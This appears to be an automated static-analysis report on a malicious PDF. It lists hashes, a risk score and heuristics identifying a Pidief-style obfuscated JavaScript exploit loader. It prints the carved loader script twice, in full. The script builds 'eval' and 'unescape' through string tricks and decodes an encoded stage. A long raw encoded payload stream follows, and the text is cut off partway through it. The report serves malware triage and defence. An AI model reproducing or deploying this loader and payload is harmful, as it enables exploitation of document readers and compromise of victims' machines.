Malicious PDF — malware analysis report

Static analysis result for SHA-256 33b8a957c2df9eba…

MALICIOUS

PDF

15.8 KB First seen: 2026-05-11
MD5: d29add5840cbf5f42ecb50ec5bc2d4f0 SHA-1: 1d964a87047c0ff29047ec6f8d64b6a8f3856cb2 SHA-256: 33b8a957c2df9ebaf0e45494fce986c23f43a5bd18c58fc99e8b57d3d6fb5331
88 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 4

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0008_000.js pdf-javascript-stream PDF /JS object 8 at offset 0x1E7 2095 bytes
SHA-256: bd506d4d48eebd50e08b7bd7d399c2ac38473493b8d694ffdf86aa1fd818e40f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
8 of 16 identifiers look randomly generated (e.g. 'q76q61q72q20q79q56q54q62q51q70q65q50q63q') — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var googleyahoosig33435235_s = app.viewerVariation[1];
var googleyahoosig33435235_saaa = app.viewerVariation[2];
var yVTbQpePcX77 = this;
var xx=["nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn","nn%nnnnnnnnnnnn"];
var zz=xx[1].substr(4-2/*donAlYNSFS1*/,2-1);
var googleyahoosig33435235_s2 = ""+"r"+googleyahoosig33435235_s+"p"/*donAlYNSFS1*/+"l"/*donAlYNSFS1*/+googleyahoosig33435235_saaa/*donAlYNSFS1*/+"c"/*donAlYNSFS1*/+googleyahoosig33435235_s;
var googleyahoosig33435235_sx = "v"/*donAlYNSFS1*/+"z"/*donAlYNSFS1*/+"l";
var XtTGDCyvNa17 = yVTbQpePcX77[googleyahoosig33435235_s+googleyahoosig33435235_sx[googleyahoosig33435235_s2]("z","a")];

googleyahoosig33435235_sx = "u"+"njj"/*donAlYNSFS1*/+"jjj"/*donAlYNSFS1*/+"a"+"p";


var CUDRSnVULL18ro = /*donAlYNSFS1*/googleyahoosig33435235_sx[googleyahoosig33435235_s2](/*donAlYNSFS1*/"jjjjj",""+/*donAlYNSFS1*/googleyahoosig33435235_s+"s"/*donAlYNSFS1*/+"c")/*donAlYNSFS1*/+/*donAlYNSFS1*/googleyahoosig33435235_s;

var CUDRSnVULL18 = yVTbQpePcX77[CUDRSnVULL18ro];

var GcOxkECYqU15 = /q/gi;
var googleyahoosig33435235_s4 = "q76q61q72q20q79q56q54q62q51q70q65q50q63q58q37q37q7Aq20q3Dq20q61q70q70q3Bq76q61q72q20q55q4Cq46q4Cq67q6Eq6Fq6Dq61q50q31q30q20q3Dq20q79q56q54q62q51q70q65q50q63q58q37q37q7Aq2Eq64q6Fq63q3Bq55q4Cq46q4Cq67q6Eq6Fq6Dq61q50q31q30q2Eq73q79q6Eq63q41q6Eq6Eq6Fq74q53q63q61q6Eq28q29q3Bq76q61q72q20q73q6Bq7Aq67q6Cq6Cq46q79q44q4Cq34q20q3Dq20q55q4Cq46q4Cq67q6Eq6Fq6Dq61q50q31q30q2Eq67q65q74q41q6Eq6Eq6Fq74q73q28q30q29q3Bq76q61q72q20q51q62q6Cq68q4Aq74q48q58q6Bq4Bq35q20q3Dq20q73q6Bq7Aq67q6Cq6Cq46q79q44q4Cq34q5Bq30q5Dq2Eq73q75q62q6Aq65q63q74q3Bq76q61q72q20q64q75q71q52q57q4Eq7Aq4Bq49q47q36q20q3Dq20q51q62q6Cq68q4Aq74q48q58q6Bq4Bq35q2Eq72q65q70q6Cq61q63q65q28q47q63q4Fq78q6Bq45q43q59q71q55q31q35q2Cq22q25q22q29q3Bq76q61q72q20q56q42q72q55q68q63q47q6Dq62q4Aq37q3Dq43q55q44q52q53q6Eq56q55q4Cq4Cq31q38q28q43q55q44q52q53q6Eq56q55q4Cq4Cq31q38q28q64q75q71q52q57q4Eq7Aq4Bq49q47q36q29q29q3Bq0Aq65q76q61q6Cq28q56q42q72q55q68q63q47q6Dq62q4Aq37q29q3B";

XtTGDCyvNa17(CUDRSnVULL18(googleyahoosig33435235_s4[googleyahoosig33435235_s2](GcOxkECYqU15,zz)));
javascript_obj0008_001.js pdf-javascript-stream PDF /JS object 8 at offset 0x209 15689 bytes
SHA-256: a86d73a7967ae7dc51e594d8593ca34a016ffe24b6fbab135983a065a75975be
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var googleyahoosig33435235_s = app.viewerVariation[1];
var googleyahoosig33435235_saaa = app.viewerVariation[2];
var yVTbQpePcX77 = this;
var xx=["nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn","nn%nnnnnnnnnnnn"];
var zz=xx[1].substr(4-2/*donAlYNSFS1*/,2-1);
var googleyahoosig33435235_s2 = ""+"r"+googleyahoosig33435235_s+"p"/*donAlYNSFS1*/+"l"/*donAlYNSFS1*/+googleyahoosig33435235_saaa/*donAlYNSFS1*/+"c"/*donAlYNSFS1*/+googleyahoosig33435235_s;
var googleyahoosig33435235_sx = "v"/*donAlYNSFS1*/+"z"/*donAlYNSFS1*/+"l";
var XtTGDCyvNa17 = yVTbQpePcX77[googleyahoosig33435235_s+googleyahoosig33435235_sx[googleyahoosig33435235_s2]("z","a")];

googleyahoosig33435235_sx = "u"+"njj"/*donAlYNSFS1*/+"jjj"/*donAlYNSFS1*/+"a"+"p";


var CUDRSnVULL18ro = /*donAlYNSFS1*/googleyahoosig33435235_sx[googleyahoosig33435235_s2](/*donAlYNSFS1*/"jjjjj",""+/*donAlYNSFS1*/googleyahoosig33435235_s+"s"/*donAlYNSFS1*/+"c")/*donAlYNSFS1*/+/*donAlYNSFS1*/googleyahoosig33435235_s;

var CUDRSnVULL18 = yVTbQpePcX77[CUDRSnVULL18ro];

var GcOxkECYqU15 = /q/gi;
var googleyahoosig33435235_s4 = "q76q61q72q20q79q56q54q62q51q70q65q50q63q58q37q37q7Aq20q3Dq20q61q70q70q3Bq76q61q72q20q55q4Cq46q4Cq67q6Eq6Fq6Dq61q50q31q30q20q3Dq20q79q56q54q62q51q70q65q50q63q58q37q37q7Aq2Eq64q6Fq63q3Bq55q4Cq46q4Cq67q6Eq6Fq6Dq61q50q31q30q2Eq73q79q6Eq63q41q6Eq6Eq6Fq74q53q63q61q6Eq28q29q3Bq76q61q72q20q73q6Bq7Aq67q6Cq6Cq46q79q44q4Cq34q20q3Dq20q55q4Cq46q4Cq67q6Eq6Fq6Dq61q50q31q30q2Eq67q65q74q41q6Eq6Eq6Fq74q73q28q30q29q3Bq76q61q72q20q51q62q6Cq68q4Aq74q48q58q6Bq4Bq35q20q3Dq20q73q6Bq7Aq67q6Cq6Cq46q79q44q4Cq34q5Bq30q5Dq2Eq73q75q62q6Aq65q63q74q3Bq76q61q72q20q64q75q71q52q57q4Eq7Aq4Bq49q47q36q20q3Dq20q51q62q6Cq68q4Aq74q48q58q6Bq4Bq35q2Eq72q65q70q6Cq61q63q65q28q47q63q4Fq78q6Bq45q43q59q71q55q31q35q2Cq22q25q22q29q3Bq76q61q72q20q56q42q72q55q68q63q47q6Dq62q4Aq37q3Dq43q55q44q52q53q6Eq56q55q4Cq4Cq31q38q28q43q55q44q52q53q6Eq56q55q4Cq4Cq31q38q28q64q75q71q52q57q4Eq7Aq4Bq49q47q36q29q29q3Bq0Aq65q76q61q6Cq28q56q42q72q55q68q63q47q6Dq62q4Aq37q29q3B";

XtTGDCyvNa17(CUDRSnVULL18(googleyahoosig33435235_s4[googleyahoosig33435235_s2](GcOxkECYqU15,zz)));



endstream
endobj
7 0 obj
<<
/Length 132705
>>
stream
q25q30q41q25q36q36q25q37q35q25q36q45q25q36q33q25q37q34q25q36q39q25q36q46q25q36q45q25q32q30q25q36q36q25q36q39q25q37q38q25q35q46q25q36q39q25q37q34q25q32q38q25q37q39q25q36q31q25q37q32q25q37q33q25q37q30q25q32q43q25q32q30q25q36q43q25q36q35q25q36q45q25q32q39q25q32q30q25q37q42q25q30q41q25q37q37q25q36q38q25q36q39q25q36q43q25q36q35q25q32q30q25q32q38q25q37q39q25q36q31q25q37q32q25q37q33q25q37q30q25q32q45q25q36q43q25q36q35q25q36q45q25q36q37q25q37q34q25q36q38q25q32q30q25q32q41q25q32q30q25q33q32q25q32q30q25q33q43q25q32q30q25q36q43q25q36q35q25q36q45q25q32q39q25q32q30q25q37q42q25q37q39q25q36q31q25q37q32q25q37q33q25q37q30q25q32q30q25q32q42q25q33q44q25q32q30q25q37q39q25q36q31q25q37q32q25q37q33q25q37q30q25q33q42q25q37q44q25q30q41q25q37q39q25q36q31q25q37q32q25q37q33q25q37q30q25q32q30q25q33q44q25q32q30q25q37q39q25q36q31q25q37q32q25q37q33q25q37q30q25q32q45q25q37q33q25q37q35q25q36q32q25q37q33q25q37q34q25q37q32q25q36q39q25q36q45q25q36q37q25q32q38q25q33q30q25q32q43q25q32q30q25q36q43q25q36q35q25q36q45q25q32q30q25q32q46q25q32q30q25q33q32q25q32q39q25q33q42q25q37q32q25q36q35q25q37q34q25q37q35q25q37q32q25q36q45q25q32q30q25q37q39q25q36q31q25q37q32q25q37q33q25q37q30q25q33q42q25q37q44q25q30q41q25q36q36q25q37q35q25q36q45q25q36q33q25q37q34q25q36q39q25q36q46q25q36q45q25q32q30q25q37q35q25q37q34q25q36q39q25q36q43q25q35q46q25q37q30q25q37q32q25q36q39q25q36q45q25q37q34q25q36q36q25q32q38q25q32q39q25q32q30q25q37q42q25q30q41q25q37q36q25q36q31q25q37q32q25q32q30q25q37q30q25q36q31q25q37q39q25q36q43q25q36q46q25q36q31q25q36q34q25q32q30q25q33q44q25q32q30q25q37q35q25q36q45q25q36q35q25q37q33q25q36q33q25q36q31q25q37q30q25q36q35q25q32q38q25q32q32q25q32q35q25q37q35q25q34q35q25q33q38q25q33q39q25q33q30q25q32q35q25q37q35q25q33q30q25q33q33q25q33q34q25q34q34q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q30q25q32q35q25q37q35q25q33q30q25q33q30q25q33q36q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q32q25q33q30q25q32q35q25q37q35q25q33q36q25q34q31q25q33q30q25q33q30q25q32q35q25q37q35q25q34q36q25q34q36q25q33q30q25q33q30q25q32q35q25q37q35q25q34q32q25q33q39q25q34q34q25q33q30q25q32q35q25q37q35q25q33q30q25q33q38q25q33q30q25q33q30q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q30q25q32q35q25q37q35q25q34q36q25q33q38q25q33q38q25q34q32q25q32q35q25q37q35q25q33q30q25q33q35q25q34q35q25q34q32q25q32q35q25q37q35q25q34q36q25q33q33q25q33q35q25q34q35q25q32q35q25q37q35q25q34q36q25q34q36q25q34q31q25q33q34q25q32q35q25q37q35q25q34q35q25q33q38q25q34q34q25q33q30q25q32q35q25q37q35q25q34q36q25q34q36q25q34q36q25q33q36q25q32q35q25q37q35q25q34q36q25q34q36q25q34q36q25q34q36q25q32q35q25q37q35q25q33q35q25q33q34q25q34q35q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q33q25q32q35q25q37q35q25q33q38q25q34q32q25q33q30q25q33q30q25q32q35q25q37q35q25q34q35q25q33q38q25q34q36q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q33q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q30q25q32q35q25q37q35q25q33q36q25q33q34q25q34q35q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q31q25q32q35q25q37q35q25q34q35q25q33q38q25q33q30q25q33q30q25q32q35q25q37q35q25q33q30q25q33q30q25q33q34q25q33q36q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q30q25q32q35q25q37q35q25q34q36q25q33q32q25q34q35q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q33q25q32q35q25q37q35q25q33q38q25q34q32q25q33q30q25q33q30q25q32q35q25q37q35q25q34q35q25q33q38q25q34q36q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q32q25q33q32q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q30q25q32q35q25q37q35q25q33q35q25q34q32q25q34q35q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q31q25q32q35q25q37q35q25q34q35q25q33q38q25q33q30q25q33q30q25q32q35q25q37q35q25q33q30q25q33q30q25q33q33q25q33q30q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q30q25q32q35q25q37q35q25q34q31q25q33q30q25q34q35q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q33q25q32q35q25q37q35q25q33q38q25q34q32q25q33q30q25q33q30q25q32q35q25q37q35q25q34q35q25q33q38q25q34q36q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q34q33q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q30q25q32q35q25q37q35q25q33q37q25q33q38q25q34q35q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q31q25q32q35q25q37q35q25q34q35q25q33q38q25q33q30q25q33q30q25q32q35q25q37q35q25q33q30q25q33q30q25q33q31q25q34q31q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q30q25q32q35q25q37q35q25q33q35q25q33q38q25q34q35q25q34q32q25q32q35q25q37q35q25q33q38q25q34q32q25q33q35q25q33q33q25q32q35q25q37q35q25q33q35q25q33q33q25q34q34q25q34q33q25q32q35q25q37q35q25q33q34q25q33q30q25q33q36q25q34q31q25q32q35q25q37q35q25q33q30q25q33q30q25q33q36q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q31q25q33q30q25q32q35q25q37q35q25q33q35q25q33q37q25q33q30q25q33q30q25q32q35q25q37q35q25q34q33q25q33q38q25q34q35q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q32q25q32q35q25q37q35q25q34q35q25q33q38q25q33q30q25q33q30q25q32q35q25q37q35q25q33q30q25q33q30q25q34q36q25q34q31q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q30q25q32q35q25q37q35q25q34q33q25q33q33q25q33q35q25q33q38q25q32q35q25q37q35q25q33q38q25q34q32q25q33q35q25q33q33q25q32q35q25q37q35q25q33q35q25q33q33q25q34q34q25q34q33q25q32q35q25q37q35q25q33q32q25q33q30q25q33q36q25q34q31q25q32q35q25q37q35q25q33q30q25q33q30q25q33q36q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q31q25q33q30q25q32q35q25q37q35q25q33q35q25q33q37q25q33q30q25q33q30q25q32q35q25q37q35q25q34q32q25q33q30q25q34q35q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q32q25q32q35q25q37q35q25q34q35q25q33q38q25q33q30q25q33q30q25q32q35q25q37q35q25q33q30q25q33q30q25q34q35q25q33q32q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q30q25q32q35q25q37q35q25q34q33q25q33q33q25q33q35q25q33q38q25q32q35q25q37q35q25q34q35q25q33q38q25q33q35q25q33q37q25q32q35q25q37q35q25q33q30q25q33q34q25q33q35q25q33q33q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q30q25q32q35q25q37q35q25q34q36q25q33q38q25q33q38q25q34q32q25q32q35q25q37q35q25q34q33q25q33q39q25q33q33q25q33q33q25q32q35q25q37q35q25q33q33q25q33q33q25q33q34q25q33q39q25q32q35q25q37q35q25q34q32q25q33q30q25q34q33q25q33q30q25q32q35q25q37q35q25q34q36q25q34q33q25q34q33q25q33q33q25q32q35q25q37q35q25q34q31q25q34q35q25q34q36q25q33q32q25q32q35q25q37q35q25q33q34q25q33q37q25q33q38q25q34q34q25q32q35q25q37q35q25q33q35q25q34q36q25q34q36q25q34q36q25q32q35q25q37q35q25q33q35q25q34q32q25q34q33q25q33q33q25q32q35q25q37q35q25q34q33q25q33q36q25q33q33q25q34q35q25q32q35q25q37q35q25q34q32q25q33q38q25q33q30q25q33q37q25q32q35q25q37q35q25q33q38q25q33q39q25q33q33q25q34q35q25q32q35q25q37q35q25q33q30q25q33q31q25q33q35q25q34q36q25q32q35q25q37q35q25q33q33q25q34q35q25q33q36q25q33q36q25q32q35q25q37q35q25q33q34q25q33q37q25q34q33q25q33q37q25q32q35q25q37q35q25q34q36q25q34q36q25q33q30q25q33q35q25q32q35q25q37q35q25q34q33q25q33q33q25q34q35q25q33q30q25q32q35q25q37q35q25q34q31q25q34q33q25q34q35q25q33q39q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q34q25q32q35q25q37q35q25q33q35q25q34q32q25q33q30q25q33q30q25q32q35q25q37q35q25q34q35q25q34q33q25q33q38q25q33q31q25q32q35q25q37q35q25q33q30q25q33q31q25q33q31q25q33q34q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q30q25q32q35q25q37q35q25q34q34q25q33q34q25q33q38q25q34q32q25q32q35q25q37q35q25q34q33q25q33q37q25q33q33q25q34q35q25q32q35q25q37q35q25q33q36q25q33q33q25q33q30q25q33q32q25q32q35q25q37q35q25q33q36q25q33q34q25q33q36q25q34q34q25q32q35q25q37q35q25q33q33q25q34q35q25q33q32q25q33q30q25q32q35q25q37q35q25q33q34q25q33q32q25q34q33q25q33q37q25q32q35q25q37q35q25q33q32q25q34q36q25q33q30q25q33q34q25q32q35q25q37q35q25q33q32q25q33q30q25q33q36q25q33q33q25q32q35q25q37q35q25q33q33q25q34q35q25q33q32q25q33q32q25q32q35q25q37q35q25q33q34q25q33q32q25q34q33q25q33q37q25q32q35q25q37q35q25q33q36q25q33q33q25q33q30q25q33q38q25q32q35q25q37q35q25q33q36q25q33q34q25q33q36q25q34q34q25q32q35q25q37q35q25q33q33q25q34q35q25q33q32q25q33q30q25q32q35q25q37q35q25q33q34q25q33q32q25q34q33q25q33q37q25q32q35q25q37q35q25q33q32q25q34q36q25q33q30q25q34q33q25q32q35q25q37q35q25q33q32q25q33q30q25q33q36q25q33q33q25q32q35q25q37q35q25q33q38q25q33q33q25q33q32q25q33q32q25q32q35q25q37q35q25q33q31q25q33q30q25q34q33q25q33q32q25q32q35q25q37q35q25q34q33q25q33q30q25q33q33q25q33q33q25q32q35q25q37q35q25q33q35q25q33q30q25q33q35q25q33q30q25q32q35q25q37q35q25q33q30q25q33q34q25q33q36q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q31q25q32q35q25q37q35q25q33q35q25q33q32q25q33q30q25q33q30q25q32q35q25q37q35q25q33q35q25q33q30q25q33q35q25q33q33q25q32q35q25q37q35q25q34q33q25q33q38q25q34q35q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q33q25q32q35q25q37q35q25q34q35q25q33q38q25q33q30q25q33q30q25q32q35q25q37q35q25q33q30q25q33q30q25q33q37q25q33q32q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q30q25q32q35q25q37q35q25q34q36q25q34q33q25q33q38q25q34q32q25q32q35q25q37q35q25q34q33q25q33q37q25q33q38q25q34q32q25q32q35q25q37q35q25q34q33q25q33q30q25q33q38q25q33q33q25q32q35q25q37q35q25q33q33q25q34q35q25q33q30q25q33q38q25q32q35q25q37q35q25q33q31q25q33q38q25q33q38q25q34q31q25q32q35q25q37q35q25q34q34q25q34q32q25q33q38q25q33q34q25q32q35q25q37q35q25q33q30q25q33q33q25q33q37q25q33q34q25q32q35q25q37q35q25q34q35q25q34q32q25q33q34q25q33q30q25q32q35q25q37q35q25q33q36q25q33q36q25q34q36q25q33q36q25q32q35q25q37q35q25q34q33q25q33q37q25q33q33q25q34q35q25q32q35q25q37q35q25q33q32q25q33q32q25q33q30q25q33q30q25q32q35q25q37q35q25q33q33q25q33q33q25q33q32q25q33q32q25q32q35q25q37q35q25q33q33q25q34q35q25q34q34q25q33q32q25q32q35q25q37q35q25q33q35q25q33q30q25q33q38q25q33q38q25q32q35q25q37q35q25q33q38q25q33q33q25q33q30q25q33q32q25q32q35q25q37q35q25q33q35q25q33q34q25q34q35q25q34q33q25q32q35q25q37q35q25q34q33q25q33q30q25q33q33q25q33q33q25q32q35q25q37q35q25q34q34q25q34q32q25q33q33q25q33q33q25q32q35q25q37q35q25q34q33q25q34q33q25q33q38q25q34q32q25q32q35q25q37q35q25q34q36q25q33q38q25q33q38q25q33q33q25q32q35q25q37q35q25q33q37q25q34q34q25q33q35q25q33q34q25q32q35q25q37q35q25q33q33q25q34q35q25q33q30q25q33q39q25q32q35q25q37q35q25q33q31q25q34q33q25q33q38q25q33q39q25q32q35q25q37q35q25q33q38q25q33q33q25q33q30q25q33q38q25q32q35q25q37q35q25q33q30q25q33q34q25q34q33q25q33q30q25q32q35q25q37q35q25q34q36q25q33q32q25q34q35q25q34q32q25q32q35q25q37q35q25q34q33q25q34q33q25q33q38q25q34q32q25q32q35q25q37q35q25q34q34q25q33q39q25q33q38q25q34q32q25q32q35q25q37q35q25q34q33q25q33q33q25q33q38q25q33q33q25q32q35q25q37q35q25q33q33q25q33q33q25q33q31q25q33q30q25q32q35q25q37q35q25q33q33q25q34q35q25q34q33q25q33q30q25q32q35q25q37q35q25q33q34q25q33q33q25q34q33q25q33q37q25q32q35q25q37q35q25q33q30q25q33q31q25q33q32q25q34q33q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q30q25q32q35q25q37q35q25q33q35q25q33q31q25q33q30q25q33q30q25q32q35q25q37q35q25q33q35q25q33q30q25q33q35q25q33q33q25q32q35q25q37q35q25q33q35q25q33q30q25q33q35q25q33q30q25q32q35q25q37q35q25q33q35q25q33q30q25q33q35q25q33q30q25q32q35q25q37q35q25q33q35q25q33q37q25q33q35q25q33q30q25q32q35q25q37q35q25q34q35q25q33q38q25q33q35q25q33q30q25q32q35q25q37q35q25q33q30q25q33q33q25q33q33q25q34q32q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q30q25q32q35q25q37q35q25q33q31q25q33q39q25q34q35q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q30q25q32q35q25q37q35q25q33q36q25q33q34q25q33q30q25q33q30q25q32q35q25q37q35q25q33q30q25q33q34q25q34q31q25q33q31q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q30q25q32q35q25q37q35q25q33q38q25q34q34q25q33q30q25q33q30q25q32q35q25q37q35q25q33q36q25q33q30q25q34q31q25q33q30q25q32q35q25q37q35q25q34q36q25q34q36q25q34q36q25q34q36q25q32q35q25q37q35q25q34q35q25q33q38q25q34q36q25q34q36q25q32q35q25q37q35q25q33q30q25q33q33q25q33q33q25q33q39q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q30q25q32q35q25q37q35q25q34q34q25q34q32q25q33q33q25q33q33q25q32q35q25q37q35q25q33q35q25q33q33q25q33q35q25q33q33q25q32q35q25q37q35q25q33q35q25q33q33q25q33q35q25q33q33q25q32q35q25q37q35q25q34q34q25q33q30q25q34q36q25q34q36q25q32q35q25q37q35q25q33q33q25q33q38q25q33q38q25q33q30q25q32q35q25q37q35q25q33q37q25q33q34q25q34q35q25q33q39q25q32q35q25q37q35q25q33q38q25q33q30q25q33q30q25q33q35q25q32q35q25q37q35q25q34q35q25q33q38q25q33q33q25q33q38q25q32q35q25q37q35q25q33q30q25q34q36q25q33q37q25q33q35q25q32q35q25q37q35q25q33q37q25q33q38q25q33q38q25q33q31q25q32q35q25q37q35q25q33q39q25q33q30q25q33q30q25q33q35q25q32q35q25q37q35q25q33q34q25q33q31q25q33q39q25q33q30q25q32q35q25q37q35q25q33q37q25q33q34q25q33q39q25q33q30q25q32q35q25q37q35q25q33q35q25q33q35q25q33q30q25q33q36q25q32q35q25q37q35q25q34q35q25q34q33q25q33q38q25q34q32q25q32q35q25q37q35q25q33q34q25q33q30q25q33q38q25q34q34q25q32q35q25q37q35q25q34q36q25q34q36q25q33q30q25q33q35q25q32q35q25q37q35q25q34q35q25q33q38q25q34q35q25q33q30q25q32q35q25q37q35q25q34q36q25q34q36q25q33q31q25q33q37q25q32q35q25q37q35q25q34q36q25q34q36q25q34q36q25q34q36q25q32q35q25q37q35q25q34q35q25q33q38q25q34q33q25q33q33q25q32q35q25q37q35q25q34q36q25q34q36q25q33q31q25q33q31q25q32q35q25q37q35q25q34q36q25q34q36q25q34q36q25q34q36q25q32q35q25q37q35q25q33q31q25q33q31q25q34q32q25q33q38q25q32q35q25q37q35q25q33q30q25q33q34q25q33q30q25q33q31q25q32q35q25q37q35q25q34q33q25q33q32q25q33q38q25q33q30q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q34q33q25q32q35q25q37q35q25q33q30q25q33q34q25q34q35q25q33q38q25q32q35q25q37q35q25q34q36q25q34q36q25q34q36q25q34q36q25q32q35q25q37q35q25q33q33q25q33q33q25q34q36q25q34q36q25q32q35q25q37q35q25q33q35q25q33q30q25q34q33q25q33q30q25q32q35q25q37q35q25q34q35q25q33q38q25q33q35q25q33q34q25q32q35q25q37q35q25q33q30q25q33q30q25q33q35q25q33q34q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q30q25q32q35q25q37q35q25q34q35q25q33q38q25q33q35q25q33q30q25q32q35q25q37q35q25q33q30q25q33q32q25q33q38q25q34q32q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q30q25q32q35q25q37q35q25q34q34q25q33q30q25q